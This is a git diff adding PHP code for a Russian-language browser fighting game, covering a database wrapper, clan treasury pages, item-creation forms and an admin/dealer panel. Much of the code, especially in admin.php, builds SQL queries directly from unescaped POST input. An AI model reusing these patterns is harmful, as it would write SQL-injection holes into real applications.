} + } +} + +/** + * Заменяет часть строки string, начинающуюся с символа с порядковым номером start + * и (необязательной) длиной length, строкой replacement и возвращает результат. + * + * @param string $string + * @param string $replacement + * @param string $start + * @param string $length + * @param string $encoding + * @return string + */ +if (!function_exists("mb_substr_replace")) +{ + function mb_substr_replace($string, $replacement, $start, $length=null, $encoding=null) + { + if ($encoding == null) { + $encoding = mb_internal_encoding(); + } + + if ($length == null) { + return mb_substr($string, 0, $start, $encoding) . $replacement; + } else { + if ($length < 0) { + $length = mb_strlen($string, $encoding) - $start + $length; + } + + return + mb_substr($string, 0, $start, $encoding) . + $replacement . + mb_substr($string, $start + $length, mb_strlen($string, $encoding), $encoding); + } + } +} diff --git a/Database/Statement.php b/Database/Statement.php new file mode 100644 index 0000000..9bf2ac3 --- /dev/null +++ b/Database/Statement.php @@ -0,0 +1,167 @@ +mysqli_result = $mysqli_result; + } + + /** + * Извлекает результирующий ряд в виде ассоциативного массива. + * + * @see mysqli_fetch_assoc + * @param void + * @return array + */ + + public function fetch_assoc() + { + return mysqli_fetch_assoc($this->mysqli_result); + } + + /** + * Извлекает результирующий ряд в виде массива. + * + * @see mysqli_fetch_row + * @param void + * @return array + */ + public function fetch_row() + { + return mysqli_fetch_row($this->mysqli_result); + } + + /** + * Извлекает результирующий ряд в виде объекта. + * + * @see mysqli_fetch_object + * @param void + * @return stdClass + */ + public function fetch_object() + { + return mysqli_fetch_object($this->mysqli_result); + } + + /** + * Возвращает результат в виде массива ассоциативных массивов. + * + * @param void + * @return array + */ + public function fetch_assoc_array() + { + $array = array(); + + while ($row = mysqli_fetch_assoc($this->mysqli_result)) { + $array[] = $row; + } + + return $array; + } + + /** + * Возвращает результат в виде массива массивов. + * + * @param void + * @return array + */ + public function fetch_row_array() + { + $array = array(); + + while ($row = mysqli_fetch_row($this->mysqli_result)) { + $array[] = $row; + } + + return $array; + } + + /** + * Возвращает результат в виде массива объектов. + * + * @param void + * @return array + */ + public function fetch_object_array() + { + $array = array(); + + while ($row = mysqli_fetch_object($this->mysqli_result)) { + $array[] = $row; + } + + return $array; + } + + /** + * Возвращает значение первого поля результирующей таблицы. + * + * @param void + * @return string + */ + public function getOne() + { + $row = mysqli_fetch_row($this->mysqli_result); + + return $row[0]; + } + + /** + * Возвращает количество рядов в результате. + * Эта команда верна только для операторов SELECT. + * + * @see mysqli_num_rows + * @param void + * @return int + */ + public function getNumRows() + { + return mysqli_num_rows($this->mysqli_result); + } + + /** + * Возвращает объект результата mysqli_result. + * + * @param void + * @return mysqli_result + */ + public function getResult() + { + return $this->mysqli_result; + } + + /** + * Освобождает память занятую результатами запроса. + * + * @param void + * @return void + */ + public function free() + { + $this->mysqli_result->free(); + } + + public function __destruct() + { + $this->free(); + } +} diff --git a/Database/db.php b/Database/db.php new file mode 100644 index 0000000..f362f1f --- /dev/null +++ b/Database/db.php @@ -0,0 +1,31 @@ +setDatabaseName("combats_game") + // Выбор кодировки + ->setCharset("utf8"); + } + return self::$_instance; + } +} \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..39af52c --- /dev/null +++ b/README.md @@ -0,0 +1,29 @@ +# README # + +This README would normally document whatever steps are necessary to get your application up and running. + +### What is this repository for? ### + +* Quick summary +* Version +* [Learn Markdown](https://bitbucket.org/tutorials/markdowndemo) + +### How do I get set up? ### + +* Summary of set up +* Configuration +* Dependencies +* Database configuration +* How to run tests +* Deployment instructions + +### Contribution guidelines ### + +* Writing tests +* Code review +* Other guidelines + +### Who do I talk to? ### + +* Repo owner or admin +* Other community or team contact \ No newline at end of file diff --git a/__modules/clan_modules/kazna.php b/__modules/clan_modules/kazna.php new file mode 100644 index 0000000..5c25f71 --- /dev/null +++ b/__modules/clan_modules/kazna.php @@ -0,0 +1,147 @@ + 0) { + $clan_acces[$i][0] = 1; + } + $i++; + } +} + +if($_GET['addcredits']) { + if($clan_acces[7][0] == 1) { + if($user['money'] >= $_GET['sums'] && $_GET['sums'] > 0) { + if(isset($_GET['comment']) && $_GET['comment'] != '') { + $user['money'] -= (int)$_GET['sums']; + $clan['money'] += (int)$_GET['sums']; + $text = mysql_real_escape_string(iconv("utf-8", "utf-8", $_GET['comment'])); + mysql_query('UPDATE `users` SET `money` = "'.$user['money'].'" WHERE `id` = "'.$user['id'].'" LIMIT 1'); + mysql_query('UPDATE `clans` SET `money` = "'.$clan['money'].'" WHERE `id` = "'.$clan['id'].'" LIMIT 1'); + mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '{$user['id']}', '\"".$user['login']."\" Пополнил казну клана: ($clan[name] / $clan[id]) на сумму: ".(int)$_GET['sums']." кр. С пометкой : $text', '1', '".time()."')"); + mysql_query('INSERT INTO `clan_log` (`clan_id`, `user_id`, `time`, `type`, `suma`, `comment`) VALUES ("'.$clan['id'].'", "'.$user['id'].'", "'.time().'", "1", "'.(int)$_GET['sums'].'", "'.$text.'")'); + $err = 'Казна пополненна на '.(int)$_GET['sums'].' кр.'; + } else { + $err = 'Введите комментарий'; + } + } elseif($_GET['sums'] <= 0) { + $err = 'Введите сумму'; + } else { + $err = 'Недостаточно средств'; + } + } else { + $err = 'У Вас нет прав на выполнение данной операции'; + } +} + +if($_GET['addecredits']) { + if($clan_acces[7][0] == 1) { + if(isset($banks['id'])) { + if($banks['ekr'] >= (int)$_GET['sums'] && $_GET['sums'] > 0) { + if(isset($_GET['comment']) && $_GET['comment'] != '') { + $banks['ekr'] -= (int)$_GET['sums']; + $clan['ekr'] += (int)$_GET['sums']; + $text = mysql_real_escape_string(iconv("utf-8", "utf-8", $_GET['comment'])); + mysql_query('UPDATE `bank` SET `ekr` = "'.$banks['ekr'].'" WHERE `id` = "'.$banks['id'].'" LIMIT 1'); + mysql_query('UPDATE `clans` SET `ekr` = "'.$clan['ekr'].'" WHERE `id` = "'.$clan['id'].'" LIMIT 1'); + mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '{$user['id']}', '\"".$user['login']."\" Пополнил казну клана: ($clan[name] / $clan[id]) на сумму: ".(int)$_GET['sums']." екр, со счёта : $banks[id]. С пометкой : $text', '1', '".time()."')"); + mysql_query('INSERT INTO `clan_log` (`clan_id`, `user_id`, `time`, `type`, `suma`, `comment`) VALUES ("'.$clan['id'].'", "'.$user['id'].'", "'.time().'", "2", "'.(int)$_GET['sums'].'", "'.$text.'")'); + $err = 'Казна пополненна на '.(int)$_GET['sums'].' eкр.'; + } else { + $err = 'Введите комментарий'; + } + } elseif($_GET['sums'] <= 0) { + $err = 'Введите сумму'; + } else { + $err = 'Недостаточно средств'; + } + } else { + $err = 'Авторизируйтесь в банковском счету'; + } + } else { + $err = 'У Вас нет прав на выполнение данной операции'; + } +} + +function form_pay($us, $clan) { + global $clan_acces, $banks; + $user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `level`, `money` FROM `users` WHERE `id` = "'.$us.'" LIMIT 1')); + $r = ''; + if($clan_acces[7][0] == 1) { + $r .= 'У Вас в наличии : '.$user['money'].' .кр
'; + $r .= 'Пополнить (кредиты)
'; + if(isset($banks['id'])) { + $r .= '
Счёт #'.$banks['id'].': '.$banks['cr'].' .кр и '.$banks['ekr'].' .екр
'; + $r .= 'Пополнить (еврокредиты)'; + } else { + $r .= '
Авторизируйтесь в банке через Инвентарь'; + } + } + return $r; +} + +?> + + + + + + + +
+ + + + + + +

+

+ '; } ?> + Клановая казна: кр, екр.

+
+ Пополнить казну: + Вы не можете пополнять казну'; } ?> +
+ + Просмотр действий с казной + +
+
+
\ No newline at end of file diff --git a/__modules/clan_modules/main.php b/__modules/clan_modules/main.php new file mode 100644 index 0000000..29752a0 --- /dev/null +++ b/__modules/clan_modules/main.php @@ -0,0 +1,117 @@ + 0) { + $recrut = mysql_fetch_array(mysql_query('SELECT `id`, `recruits`, `short`, `name`, `descr`, `glava`, `vozm`, `align`, `mshadow`, `wshadow`, `homepage`, `rating`, `zbor`, `zamok`, `izamok`, `ifon` FROM `clans` WHERE `id` = "'.$clan['recruits'].'" LIMIT 1')); +} + +function show_klan_members($pl) { + global $rooms; + $r = ''; + $clan = mysql_fetch_array(mysql_query('SELECT `id`, `recruits`, `short`, `name`, `descr`, `glava`, `vozm`, `align`, `mshadow`, `wshadow`, `homepage`, `rating`, `zbor`, `zamok`, `izamok`, `ifon` FROM `clans` WHERE `id` = "'.$pl.'" LIMIT 1')); + if(isset($clan['id'])) { + $sp = mysql_query('SELECT `id`, `login`, `invis`, `align`, `level`, `status`, `room`, (SELECT `id` FROM `online` WHERE `date` >= "'.(time()-60).'" AND `id` = `users`.`id`) AS `online` FROM `users` WHERE `klan` = "'.$pl.'" ORDER BY `level` DESC'); + while($us = mysql_fetch_array($sp)) { + if($us['online'] > 0 && $us['invis'] == 0) { + $r .= ''; + } else { + $r .= ''; + } + $r .= ' '.$us['login'].' ['.$us['level'].'] '; + $r .= ''; + $r .= $us['status']?" - ".$us['status']:" - Нет звания"; + if($us['online'] > 0 && $us['invis'] == 0) { + $r .= ' - '.$rooms[$us['room']].''; + } + $r .= '
'; + } + } else { + $r = 'Клан не найден ..'; + } + return $r; +} + +?> + + + + + + + + + + + + + +
+
+

+ + +
+ Клан-основа - + +
+ 0) { ?> + Клан-рекрут - + + +

+
+
+
+ Каналы чата: + + + + + + + + + + + + + + +
  + + klan -
+
+
 
+
+ +
+ Клановые реликты: + + + + + + +
В разработке
+
+
  +
+ Состав клана: + + + + + + +
+

CapitalCity

+ +
+
+
\ No newline at end of file diff --git a/__modules/clan_panel.php b/__modules/clan_panel.php new file mode 100644 index 0000000..03e3790 --- /dev/null +++ b/__modules/clan_panel.php @@ -0,0 +1,105 @@ + + + +404 + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + + + + + + + + +
 " href="?razdel=main">Главная" href="?razdel=kazna">Казна" href="?razdel=wars">Войны и враги" href="?razdel=message">Сообщения" href="?razdel=maintains">Управление 
+
+ + + + + + + +
+ + + + + + +
+ +
+
+
+ + \ No newline at end of file diff --git a/add_me.php b/add_me.php new file mode 100644 index 0000000..d3146cc --- /dev/null +++ b/add_me.php @@ -0,0 +1,193 @@ + + + +404 + + + + +
+ + + + + + + + + + + + + + + + +
Название
Картинка
Магазин +
Количество (шт.)
Тип предмета +
Масса
Подлежит ремонту
Раздел магазина +
Макс. износ
Цена (кр.)
+Требования + + + + + + + + + +
Уровень
Сила
Ловкость
Интуиция
Вынос
Склонность
+Характеристики + + + + + + + + + + + + + + + + + + + + + + + +
Сила
Ловкость
Интуиция
Интеллект
НР
Мф.крит
Мф.антикрит
Мф.уворот
Мф.антиуворот
Всем брони
Ум.ножи
Ум.топоры
Ум.дубины
Ум.мечи
Броня головы
Броня корпуса
Броня пояса
Броня ног
+ +
+ + + + \ No newline at end of file diff --git a/add_novyj_shmot.php b/add_novyj_shmot.php new file mode 100644 index 0000000..805de57 --- /dev/null +++ b/add_novyj_shmot.php @@ -0,0 +1,126 @@ + +DO NOT USE - NOT TESTED. INS. +
+Вещи + + + + + + + + + + + + + + + + + + +
Название
Картинка
Количество в магазине
Тип предмета
Масса
Нужна идентификация
Количество знаков
Может чиниться
Раздел магазина
Мин.износ
Макс.износ
Цена
+Требования: + + + + + + + + + + + + + + + + + + + + +
Уровень
Сила
Ловкость
Интуиция
Вынос
Интеллект
Мудрость
Ум.ножи
Ум.топоры
Ум.дубины
Ум.мечи
Склонность
Мастерство огня
Мастерство воды
Мастерство воздуха
Мастерство земли
Светлая магия
Серая магия
Темная магия
+Дает Параметры + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Мин.урон
Макс.урон
Сила
Ловкость
Инуиция
Интеллект
НР
Мф.крит
Мф.антикрит
Мф.уворот
Мф.антиуворот
Ум.ножи
Ум.топоры
Ум.дубины
Ум.мечи
Броня головы
Броня корпуса
Броня пояса
Броня ног
Мастерство огня
Мастерство воды
Мастерство воздуха
Мастерство земли
Светлая магия
Серая магия
Темная магия
В энциклопедию
Артефакт
Наложенно заклятие
+ +
+ + diff --git a/admin.php b/admin.php new file mode 100644 index 0000000..00bf8b3 --- /dev/null +++ b/admin.php @@ -0,0 +1,1009 @@ +404 Not Found

Not Found

The requested URL /admin.php was not found on this server.


Apache/2.2.22 (@RELEASE@) Server at Hetzner Datacenter 426
"; + exit; + } + define('ADMINS',microtime()); +?> + + + + + + + ᐰdmin + + + + +query('SELECT * FROM `aligns` WHERE `align` = "?s" LIMIT 1', $user['align']); + + header("Cache-Control: no-cache"); + + function imp($array) { + $str =''; + foreach($array as $k => $v) { + $str .= $k.";".$v.";"; + } + return $str; + } + + function expa($str) { + $array = explode(";", $str); + for($i = 0; $i <= count($array)-2; $i = $i+2) { + $rarray[$array[$i]] = $array[$i+1]; + } + return $rarray; + } + + if ($_POST['ali']) { //Что делает эта штука? + $accs = $_POST; + array_shift($accs);array_shift($accs);array_shift($accs); + mysql_query("INSERT INTO `aligns` (`align`,`img`,`name`,`accses`) values ('{$_POST['ali']}','{$_POST['im']}','{$_POST['txt']}','".imp($accs)."') ON DUPLICATE KEY UPDATE `img` = '{$_POST['im']}', `name` = '{$_POST['txt']}', accses = '".imp($accs)."';"); + } + + if($_POST['sbr_par']) { + // $sb_pers = mysql_fetch_array(mysql_query("SELECT id,nextup,level FROM `users` WHERE `login` = '{$_POST['sbr_par']}' LIMIT 1;")); + $sb_pers = ($db->query('SELECT `id`, `nextup`, `level` FROM `users` WHERE `login` = "?s" LIMIT 1', $_POST['sbr_par']))->fetch_assoc_array(); + undressall($sb_pers['id']); + $levelstats = statsat($sb_pers['nextup']); + // mysql_query("UPDATE `users` SET `stats` = ".($levelstats['stats']-9).", `sila`=3,`lovk`=3,`inta`=3,`intel`=0,`vinos`= ".$levelstats["vinos"].",`maxhp`= ".$levelstats["vinos"]."*6 WHERE `id`='$sb_pers[id]' LIMIT 1"); + // mysql_query("UPDATE `users` SET `master`=$levelstats[master], noj=0, mec=0, topor=0, dubina=0, mlight=0, mgray=0, mdark=0 WHERE `id`='$sb_pers[id]'"); + //TODO Ох боюсь я за этот запрос! + $db->query(' + UPDATE `users` + SET `stats` = ?i, `sila` = ?i, `lovk` = ?i, `inta` = ?i, `intel` = ?i, `vinos` = ?i, + `maxhp` = ?i, `master` = ?i, `noj` = ?i, `mec` = ?i, `topor` = ?i, `dubina` = ?i, + `mlight` = ?i, `mgray` = ?i, `mdark` = ?i + WHERE `id` = ?i', + ($levelstats['stats']-9), 3, 3, 3, 0, $levelstats['vinos'], ($levelstats['vinos']*6), $levelstats['master'], 0, 0, 0, 0, 0, 0, 0, $sb_pers['id']); + echo "Все прошло удачно. Персонаж может перераспределить параметры."; + } +?> + + +
Склонности
+ +
Кланы
+
Сброс параметров персонажа
+ +
Добавить вещь
+ +
"; + #################################################### + +$moj = expa($al['accses']); + + switch($_POST['use']) { /* Подключаем строго тот свиток который используем. 36 Свитков править. Мама дорогая! */ + case "cure150": include("./magic/cure150.php"); break; + case "al_neut_power": include("./magic/al_neut_power.php"); break; + case "ct1": include("./magic/ct1.php"); break; + case "ct2": include("./magic/ct2.php"); break; + case "ct3": include("./magic/ct3.php"); break; + + case "sleep": include("./magic/sleep.php"); break; + case "sleepf": include("./magic/sleepf.php"); break; + case "sleep_off": include("./magic/sleep_off.php"); break; + case "sleepf_off": include("./magic/sleepf_off.php"); break; + case "haos": include("./magic/haos.php"); break; + case "haos_off": include("./magic/haos_off.php"); break; + case "obezl": include("./magic/obezl.php"); break; + case "obezl_off": include("./magic/obezl_off.php"); break; + case "death": include("./magic/death.php"); break; + case "death_off": include("./magic/death_off.php"); break; + case "ldadd": include("./magic/ldadd.php"); break; + + case "attack": include("./magic/eattack.php"); break; + case "attack_t": include("./magic/attack_t.php"); break; + case "battack": include("./magic/ebattack.php"); break; + case "attackk_close": include("./magic/attackk_close.php"); break; + case "attackk_open": include("./magic/attackk_open.php"); break; + + case "pal_off": include("./magic/pal_off.php"); break; + case "marry": include("./magic/marry.php"); break; + case "unmarry": include("./magic/unmarry.php"); break; + case "ct_all": include("./magic/ct_all.php"); break; + case "check": include("./magic/check.php"); break; + case "brat": include("./magic/brat.php"); break; + case "vampir": include("./magic/vampir.php"); break; + case "crush": include("./magic/devastate.php"); break; + case "def": include("./magic/defence.php"); break; + case "bexit": include("./magic/bexit.php"); break; + case "vip": include("./magic/vips.php"); break; + case "dlight": include("./magic/dlight.php"); break; + case "ddark": include("./magic/ddark.php"); break; + case "dneit": include("./magic/dneit.php"); break; + case "un_align": include("./magic/un_align.php"); break; + } + + echo "
Абилки:Пока что привязаны к общей системе. Работают выборочно.
"; + + foreach($moj as $k => $v) { + #echo $k; + switch($k) { /* 45 скриптов на 36 умелок? Неплохо… */ + case "vip": $script_name = "vipad"; $magic_name="Вип"; break; + case "sleep": $script_name="runmagic"; $magic_name="Наложить заклятие молчания"; break; + case "sleepf": $script_name="runmagicf"; $magic_name="Наложить заклятие форумного молчания"; break; + case "cure150": $script_name="runmagic1"; $magic_name="Лечение(150)"; break; + case "al_neut_power": $script_name="RunMagicSelf"; $magic_name="Сила нейтралитета"; break; + case "ct1": $script_name="runmagic1"; $magic_name="Исцелить легкую травму"; break; + case "ct2": $script_name="runmagic1"; $magic_name="Исцелить среднюю травму"; break; + case "ct3": $script_name="runmagic1"; $magic_name="Исцелить тяжелую травму"; break; + case "sleep_off": $script_name="runmagic1"; $magic_name="Снять заклятие молчания"; break; + case "sleepf_off": $script_name="runmagic1"; $magic_name="Снять заклятие форумного молчания"; break; + case "haos": $script_name="runmagic2"; $magic_name="Наложить заклятие хаоса"; break; + case "haos_off": $script_name="runmagic1"; $magic_name="Снять заклятие хаоса"; break; + case "death": $script_name="runmagic1"; $magic_name="Наложить заклятие смерти"; break; + case "death_off": $script_name="runmagic1"; $magic_name="Снять заклятие смерти"; break; + case "obezl": $script_name="runmagic2"; $magic_name="Наложить заклятие обезличивания"; break; + case "obezl_off": $script_name="runmagic1"; $magic_name="Снять заклятие обезличивания"; break; + case "pal_off": $script_name="runmagic1"; $magic_name="Лишить звания Паладин"; break; + case "attack": $script_name="runmagic1"; $magic_name="Нападение"; break; + case "attack_t": $script_name="runmagic1"; $magic_name="Нападение на Темного"; break; + case "battack": $script_name="runmagic1"; $magic_name="Кровавое нападение"; break; + case "attackk_close": $script_name="runmagic1"; $magic_name="Кулачное закрытое кровавое нападение"; break; + case "attackk_open": $script_name="runmagic1"; $magic_name="Кулачное закрытое нападение"; break; + case "marry": $script_name="runmagic4"; $magic_name="Зарегистрировать брак"; break; + case "unmarry": $script_name="runmagic4"; $magic_name="Расторгнуть брак"; break; + case "hidden": $script_name="runmagic1"; $magic_name="Заклятие невидимости"; break; + case "teleport": $script_name="runmagic"; $magic_name="Телепортация"; break; + case "check": $script_name="runmagic1"; $magic_name="Поставить проверку"; break; + case "ct_all": $script_name="runmagic1"; $magic_name="Вылечить от травм"; break; + case "pal_buttons": $script_name="runmagic"; $magic_name="Отметить о прохождении проверки"; break; + case "vampir": $script_name="runmagic1"; $magic_name="Вампиризм (выпить энергию другого игрока)"; break; + case "brat": $script_name="runmagic1"; $magic_name="Помочь темному собрату (вмешаться в поединок)"; break; + case "dneit": $script_name="runmagic1"; $magic_name="Присвоить склонность (Нейтральное Братство)"; break; + case "dpal": $script_name="runmagic"; $magic_name="Присвоить склонность (Паладин)"; break; + case "ddark": $script_name="runmagic1"; $magic_name="Присвоить склонность (Темное Братство)"; break; + case "dlight": $script_name="runmagic1"; $magic_name="Присвоить склонность (Светлое Братство)"; break; + case "un_align": $script_name="runmagic1"; $magic_name="Лишить склонности"; break; + case "note": $script_name="runmagic"; $magic_name="Редактировать личное дело"; break; + case "sys": $script_name="runmagic"; $magic_name="Отправить в чат системное сообщение"; break; + case "scanner": $script_name="runmagic"; $magic_name="Показать лог действий модератора"; break; + case "rep": $script_name="runmagic"; $magic_name="Отчет о переводах"; break; + case "rost": $script_name="runmagic"; $magic_name="Присвоить статус"; break; + case "ldadd": $script_name=""; $magic_name="Записать причину отправки в Хаос"; break; + case "crush": $script_name="runmagic1"; $magic_name="Сокрушение"; break; + case "def": $script_name="runmagic1"; $magic_name="Защита от оружия"; break; + case "bexit": $script_name="runmagic1"; $magic_name="Выйти из боя"; break; + } + # Эта строка генерирует свитки с навыком. Но нам нужен просто перечень всего… + if($script_name) print " "; + } + echo "
"; +?> Всплывашки: + + + + + + + + + + + +
+ Выдать чёртов ВИП и переписать функцию выдачи как будет время + + + + + +
+ +
+ Добавить в «дело» игрока заметку о нарушении правил, прокрутке и пр. + +
+ Записать, как причину отправки в хаос/блокировки +
+
+ Отправить системное сообщение в чат + + +
+
+ Дать опыта + + + +
+
+ Телеграф + + + +
+
+ Поменять статус + + + +
+ +
+ Выдыча склонностей + +
+ 0){ + $id_user = mysql_fetch_assoc(mysql_query("select `id` from `users` where `login`='".$_POST['login_exp']."'")); + mysql_query("update `users` set `exp`=`exp`+'".$_POST['kol_exp']."' where `id`='".$id_user['id']."'"); + echo"Успешно."; + } + # Телеграф. + if($_POST['grn'] && $_POST['gr']) echo telegraph($_POST['grn'],$_POST['gr']); + # Показывает невидимок. + echo 'Невидимки:'; + $prs = mysql_query('SELECT `id`, `login` FROM `users` WHERE `invis` = 1 ORDER BY `id` DESC'); + while($pl = mysql_fetch_array($prs)) { + $effect = mysql_fetch_array(mysql_query("SELECT `time` FROM `effects` WHERE `owner` = '{$pl[id]}' AND `type` = '1022' LIMIT 1")); + echo '[id] = '.$pl['id'].', '.$pl['login'].' - [невидимка '.substr($effect[0], strlen($effect[0])-4).']
'; + } + # Системное сообщение. + if($_POST['newsmsg'] ) { + $from = ''; + AddChatSystem($from.$_POST['newsmsg'].""); + echo "Системное сообщение отправлено."; + } + # Меняем статусы + if ($_POST['login'] && $_POST['status']) { + $dd = mysql_fetch_array(mysql_query("SELECT `ip`, `login` FROM `users` WHERE `login` = '".$_POST['login']."';")); + if($dd) { + mysql_query("UPDATE `users` SET `status` = '".$_POST['status']."' WHERE `login` = '".$_POST['login']."';"); + echo "Статус ",$dd[1]," изменен на ",$_POST['status'],"
"; + } + } + # Меняем склонности + if ($_POST['login'] && $_POST['krest']) { + switch($_POST['krest']){ + case 1.1: $rang = 'Паладин Поднебесья'; break; + case 1.75: $rang = 'Паладин Солнечной Улыбки'; break; + case 1.7: $rang = 'Паладин Огненной Зари'; break; + case 1.91: $rang = 'Паладин Неба'; break; + case 1.98: $rang = 'Старший Паладин Неба'; break; + case 1.99: $rang = 'Верховный Паладин'; break; + default: $rang = ''; break; + } + echo $_POST['krest']." = 45424tgf34g"; + if ($_POST['krest']==-1) mysql_query("UPDATE `users` SET `align`=NULL, `status`=NULL WHERE `login` = '{$_POST['login']}' LIMIT 1;") or die(mysql_error()); + else mysql_query("UPDATE `users` SET `align` = '".$_POST['krest']."',`status` = '$rang' WHERE `login` = '".$_POST['login']."';"); + } + +# ДИЛЕР ФУНКЦИИ + if (($user['deal']==1) || $user['admin'] == 1) { + if ($_POST['putekr']) { + if (($_POST['ekr']) && ($_POST['bank'])) { + # $deallerekr=mysql_fetch_array(mysql_query("SELECT ekr FROM `bank` WHERE `owner` = '{$user['id']}' LIMIT 1;")); + # $numdeallerekr=$deallerekr['ekr']; + if ($user['ekr'] < $_POST['ekr']) { + print "На Вашем счету не хватает екров!"; + } + else { + $bank = mysql_fetch_array(mysql_query("SELECT owner,id FROM `bank` WHERE `id` = '{$_POST['bank']}' LIMIT 1;")); + $_POST['ekr'] = round($_POST['ekr'],2); + if (mysql_query("UPDATE `bank` set `ekr` = ekr+'{$_POST['ekr']}' WHERE `id` = '{$_POST['bank']}' LIMIT 1;")) { + mysql_query("INSERT INTO `dilerdelo` (dilerid,dilername,bank,owner,ekr) values ('{$user['id']}','{$user['login']}','{$_POST['bank']}','{$_POST['tonick']}','{$_POST['ekr']}');"); + mysql_query("INSERT INTO `delo`(`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$tonick['id']}','Получено ".$_POST['ekr']." екр на счет №".$_POST['bank']." от дилера ".$user['login']."',1,'".time()."');"); + mysql_query("UPDATE `users` set `ekr` = ekr-'{$_POST['ekr']}' WHERE `id` = '{$user['id']}' LIMIT 1;"); + print "Успешно зачислено {$_POST['ekr']} екр. на счет {$_POST['bank']}!"; + } + else { print "Ошибка записи в базу данных!"; } + } + } + else { print "Введите сумму и номер счета!"; } + } + + # СКЛОННОСТЬ НАХАЛЯВУ?! Дилер должен платить! + #if ($_POST['givesklonka']) { + # if ($_POST['sklonkalog'] && $_POST['sklonka']) { + # $tonick = mysql_fetch_array(mysql_query("SELECT login,id,align,klan FROM `users` WHERE `login` = '{$_POST['sklonkalog']}' LIMIT 1;")); + # if ($tonick['login']) { + # if ($tonick['klan']) { print "Персонаж состоит в клане!"; } + # else if (mysql_query("UPDATE `users` set `align` = '{$_POST['sklonka']}' WHERE `id` = '{$tonick['id']}' LIMIT 1;")) { + # if ($_POST['sklonka'] == 2) {$skl="нейтральная"; $skl2="нейтральную";} + # if ($_POST['sklonka'] == 3) {$skl="темная"; $skl2="темную";} + # if ($_POST['sklonka'] == 6) {$skl="светлая"; $skl2="светлую";} + # mysql_query("INSERT INTO `dilerdelo` (dilerid,dilername,bank,owner,ekr,addition) values ('{$user['id']}','{$user['login']}','0','{$_POST['sklonkalog']}','0',{$_POST['sklonka']});"); + # mysql_query("INSERT INTO `delo`(`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$tonick['id']}','Куплена ".$skl." склонность от дилера ".$user['login']."',1,'".time()."');"); + # $action = "присвоил".($user['sex']?'':'а'); + # mysql_query("INSERT INTO `lichka`(`id`,`pers`,`text`,`date`) VALUES ('','".$tonick['id']."','Дилер "".$user['login']."" ".$action." "".$_POST['sklonkalog']."" ".$skl2." склонность','".time()."');"); + # print "Успешно присвоена {$skl} склонность персонажу {$_POST['sklonkalog']}!"; + # } + # else { print "Ошибка записи в базу данных!"; } + # } + # else { print "Такой персонаж не существует!"; } + # } + #} + + if ($_POST['checkbank']) { + if ($_POST['charlogin']) { + $tonick = mysql_fetch_array(mysql_query("SELECT login,id FROM `users` WHERE `login` = '{$_POST['charlogin']}' LIMIT 1;")); + $bankdb = mysql_query("SELECT owner,id FROM `bank` WHERE `owner` = '{$tonick['id']}'"); + print "Персонажу {$_POST['charlogin']} принадлежат счета:
"; + while ($bank=mysql_fetch_array($bankdb)) { + print "№ {$bank['id']}
"; + } + } + else if ($_POST['charbank']) { + $bank = mysql_fetch_array(mysql_query("SELECT owner,id FROM `bank` WHERE `id` = '{$_POST['charbank']} 'LIMIT 1;")); + $tonick = mysql_fetch_array(mysql_query("SELECT login,id FROM `users` WHERE `id` = '{$bank['owner']}' LIMIT 1;")); + print "Счет № {$_POST['charbank']} принадлежит персонажу {$tonick['login']}
"; + } + } + + ?> +

Дилерская панель (недоработано)

+ На счету: екр.

+

+ Зачислить екры на счет + +
+
+ Проверить логин / номер счета + +
+
+ Присвоить склонность [выключено] + + + +
+ "; + if (!$_POST['dlogs']) $_POST['dlogs']=date("d.m.y"); + + if ($user['admin'] == 1) { + echo ' + + + +
+ Просмотреть дилерские переводы персонажа: за
+ +
Дилерские переводы персонажа "'.$_POST['dfilter'].'" за '.$_POST['dlogs'].'
+
'; + } + elseif ($user['deal']==1) { + echo ' + + + +
+ Просмотреть дилерские переводы за
+ +
Дилерские переводы персонажа "'.$_POST['dfilter'].'" за '.$_POST['dlogs'].'
+
'; + } + if ($_POST['dfilter']) { + $perevod1 = mysql_fetch_array(mysql_query("SELECT `login`,`id`,`align` FROM `users` WHERE `login` = '{$_POST['dfilter']}' LIMIT 1;")); + $aa=$perevod1['id']; + if ($user['admin'] == 1 || $user['deal']==1) { + $logsat=$_POST['dlogs']; + $ddate33="20".substr($_POST['dlogs'],6,2)."-".substr($_POST['dlogs'],3,2)."-".substr($_POST['dlogs'],0,2).""; + $dlogs = mysql_query("SELECT * FROM `dilerdelo` WHERE `dilerid` = '{$perevod1['id']}' AND `date` like '$ddate33%' ORDER by `id` ASC;"); + while($row = @mysql_fetch_array($dlogs)) { + switch($row['addition']) { + case "2": + $sklo="Нейтральная"; + echo "{$row['date']} Продана {$sklo} склонность персонажу {$row['owner']} (50 екр.)
"; + break; + case "3": + $sklo="Темная"; + echo "{$row['date']} Продана {$sklo} склонность персонажу {$row['owner']} (50 екр.)
"; + break; + case "6": + $sklo="Светлая"; + echo "{$row['date']} Продана {$sklo} склонность персонажу {$row['owner']} (50 екр.)
"; + break; + case "0": + echo "{$row['date']} Переведено {$row['ekr']} екр. персонажу {$row['owner']} (счет №{$row['bank']})
"; + break; + } + } + } + } + } +?> + + + + + + + + + + diff --git a/ahero_shop.php b/ahero_shop.php new file mode 100644 index 0000000..2272877 --- /dev/null +++ b/ahero_shop.php @@ -0,0 +1,279 @@ +0)) header("Location: index.php"); + include "config.php"; + $user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;")); + include "functions.php"; + $d = mysql_fetch_array(mysql_query("SELECT sum(`massa`) FROM `inventory` WHERE `owner` = '{$user['id']}' AND `dressed` = 0 AND `setsale` = 0 ; ")); + if ($user['room'] != 22) { header("Location: main.php"); die(); } + if ($user['battle'] != 0) { header('location: fbattle.php'); die(); } + + + if (($_GET['set'] OR $_POST['set'])) { + if ($_GET['set']) { $set = $_GET['set']; } + if ($_POST['set']) { $set = $_POST['set']; } + if(!$_POST['count']) $_POST['count']=1; + if(!is_numeric($_POST['count']) || $_POST['count']!=((int)$_POST['count'])) + { + $_POST['count']=0; + $count_ok=0; + } + elseif ($_POST['count'] < 1) { $_POST['count'] =0; $count_ok=0; } + else 